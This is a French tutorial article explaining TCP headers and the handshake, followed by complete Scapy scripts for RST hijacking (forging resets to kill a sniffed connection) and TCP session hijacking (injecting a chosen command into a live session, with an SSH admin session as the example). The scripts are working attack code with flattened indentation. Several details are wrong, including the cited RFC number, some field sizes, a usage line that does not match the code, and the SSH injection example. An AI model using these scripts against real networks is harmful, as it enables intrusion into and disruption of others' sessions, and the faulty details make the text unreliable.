/!\ Attention a l'indentation des scripts de l'article /!\
Pour une lecture plus agréable, veuillez télécharger le document!
Qu'est-ce que TCP
Transmission Control Protocol,
est un protocole utilisé pour transmettre des données
entre une machine A et une Machine B.
Il gère de "A à Z" la connexion (Établissement, Transfert, etc)en utilisant un système de Drapeaux ou Flags.
"Couplé" avec IP (Internet Protocole) qui assure le bon routage des paquets,il forme le modèle TCP/IP.
Une trame TCP est constituée comme ceci:
1 2 0 1 2 3 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 4+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 5| Port Source | Port de Destination | 6+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 7| Numéro de Séquence | 8+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 9| Numéro d'acquiescement | 10+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 11|Offset | |+|+|+|+|+|+| | 12| des | Reservé |+| Flags |+| Fenêtre (Window) | 13|données| |+|+|+|+|+|+| | 14+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 15| Checksum | Pointeur Urgent | 16+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 17| Options | Padding | 18+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 19| Données | 20+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port de Destination (16 bits):
C'est le port qui est utilisé par la machine de destination.
Numéro de Séquence (32 bits):
C'est le numéro du paquet
Numéro d'acquiescement (32 bits):
C'est un accusé de réception pour les paquets reçus.
Il définit le prochain "Numéro de Séquence".
Offset des données (4 bits):
Ce champ indique où débute les données.
Réserve:
Ce champ sert pour des besoins futurs, il est à 0.
Flags (1 bit):
URG: Pointeur de données urgente
ACK: Acquittement
SYN: Synchronisation
PSH: Transfert de données
FIN: Fin de transmission
RST: Reset de la connexion
Fenêtre (16 bits):
C'est le nombre d'octets que le récepteur est capable de recevoir à partir de la position indiquée dans l'accusé de réception
Checksum (16 bits):
Indique la validité du paquet
Pointeur Urgent (16 bits):
Donne la position de données urgentes et son décalage par rapport au numéro de séquence, ce champ est activé que lorsque le Flag URG est à 1
Options (8 bits):
Option mono-octet Octet de type, de longueur et de valeur d'option
Padding (0 à 7 bits):
"Bourre" le champ Options pour obtenir une trame TCP multiple de 32 bits
Données:
Ce sont les données transmises (login, mot de passe, etc)
Pour plus d'informations consultez la RFC739.
Three-Way Handshake
Un nom bien bisard je vous l'accorde, il s'agit tout simple du terme utilisé pour désigner les Trois Étapes d'établissement d'une Connexion que nous allons voir ci-dessous.
Première Étapes:
A -------- Flag SYN, seq=x --------> B
A envoie a B une demande de synchronisation pour débuter un dialogue en indiquant un numéro de séquence égale a x.
Deuxieme Étapes:
A <------- Flag SYN/ACK, seq=y, ack=x+1 --------- B
B acquiesce le numéro de séquence de A
en lui indiquant son numéro de séquence qui est égale a y,
puis un numéro d'ack égale a x+1
Troisième Étapes:
A -------- Flag ACK, seq=x+1, ack=y+1 --------> B
A acquiesce le numéro de séquence de B
en lui indiquant sont numéro de séquence qui est égale a x+1 (la valeur ack du paquet précédent)
puis un numéro d'ack égale a y+1 (la valeur seq du paquet précédent)
Transfert de données
Pour le transfert de données TCP utilise le flag PSH (push) et le flag ACK.
A -------- Flag PSH/ACK, seq=y+1, ack=x+1, DATA=test\n --------> B
A <------- Flag ACK, seq=x+1, ack=(y+1)+len(DATA) --------- B
A envoie la donnée test\n a B
B quand a lui acquiesce la réception en indiquant
comme numéro de séquence, l'ack du paquet précédent.
Et comme accusé la valeur du numéro de séquence du paquet précédent plus
la taille des données reçues
Fin de Connexion
Pour mettre fin à une connexion,
TCP utilise le flag FIN pour terminer proprement la connexion
mais en réaliter, dans la plupart des cas, il utilise le flag RST (reset)
qui lui finit brutalement la connexion.
RST Hijacking
Le RST Hijacking consiste à clore nous-mêmes
la connexion via un paquet TCP avec le flag RST (reset),
pour cela il nous faut avoir le numéro de séquence
et l'acknoledge afin que le paquet soit accepté
et que la connexion se termine.
Pour ce faire nous allons coder un script python en utilisant Scapy.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut\n --------> B
A <------- Flag ACK, seq=1200, ack=1006 --------- B
P -------- Flag RST, seq=1006, ack=1200 --------> B
Le Script:
1 2# RST Hijacking Script 3# Usage: rsthijack.py remote_host remote_port target 4#!usr/bin/env/python 5 6"""On importe tout les modules de scapy et sys""" 7from scapy.all import * 8import sys 9 10"""Filtre a appliqué au Sniffer""" 11filtre = "host " + sys.argv[1] + " and port " + sys.argv[2] 12print "Waiting..." 13print " " 14 15"""Fonction Utilisée par le sniffer à chaque paquet reçu""" 16def rst_hijack(p): 17 18 """Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible""" 19 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]: 20 print "[+] Connection Found!" 21 print " " 22 print "[+] It's time to blow this shit!" 23 24"""Alors on forge un Paquet pour notre attaque a partir du paquet reçu""" 25 26"""Ethernet""" 27ether = Ether(dst=p[Ether].src, src=p[Ether].dst) 28 29"""IP""" 30ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl, 31proto=p[IP].proto, id=29321) 32 33"""TCP, flag: RST""" 34tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs, 35reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options) 36 37"""On forme le paquet final""" 38reset = ether/ip/tcp 39 40"""On l'envoi""" 41sendp(reset) 42 43"""On sort du script""" 44sys.exit() 45 46"""Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre""" 47sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
TCP Session Hijacking
Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH.
Il crée une connexion d'un client A à un Serveur B qui dialogue entre eux en utilisant un numéro de séquence et un acknoledge que seul A et B connaisse.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion et de désynchroniser A de B.
NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre A et B.
Exemple: P pour pirate.
1 2A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey\n --------> B 3A <------- Flag ACK, seq=1200, ack=1004 --------- B 4P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha\n ------> B 5P <------- Flag ACK, seq=1200, ack=1012 --------- B 6 7--------------------------- ACK Storm ----------------------------- 8 9A ---------------------- ACK -----------------------> B 10A <--------------------- ACK ------------------------ B 11A ---------------------- ACK -----------------------> B 12A <--------------------- ACK ------------------------ B
Reprenons le précédent script en modifiant quelques lignes:
1 2#TCP Session Hijacking Script 3#Usage: hijack.py serveur_ip serveur_port client_ip 4#!usr/bin/env/python 5 6from scapy.all import * 7import sys 8 9"""Filtre a appliqué au Sniffer""" 10filtre = "host " + sys.argv[1] + " and port " + sys.argv[2] 11print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2] 12print " " 13 14def hijack(p): 15 cmd=sys.argv[4] """On Stock la commande a executer""" 16 17 if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]: 18 print "[+] Found!" 19 print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack) 20 """Seq = Seq_du_paquet_precedent + Len_des_Datas""" 21 print "Hijack Seq: " + str(p[TCP].ack) + " | Hijack Ack: " + str(p[TCP].seq) 22 print " " 23 print "[+] Hijack Session!" 24 25"""Ethernet""" 26ether = Ether(dst=p[Ether].src, src=p[Ether].dst) 27 28"""IP""" 29ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl, 30proto=p[IP].proto, id=29321) 31 32"""TCP, flag: PUSH/ACK""" 33tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs, 34reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options) 35 36"""On ajoute la commande au paquet""" 37hijack = ether/ip/tcp/(cmd+"\n") 38sendp(hijack) 39 40"""On sort du script, sinon il repondrat dans l'ACK Storm""" 41sys.exit() 42 43"""Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre""" 44sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
Conclusion
Il n'y a aucun doute que ce genre de technique peut être terriblement dangereuse sur un réseau local, de plus la présence des deux machines sur le réseau n'est pas requise, en effet une seul suffit.Une attaque aveugle à distance reste possible bien que très difficile au niveau de la prédiction des ISN, des études ont déjà vu le jour et montre que la génération des ISN n'est pas si implacable.
Remerciement
Je tiens à remercier aaSSfxxx et B@rBcH pour leurs relectures
St0rn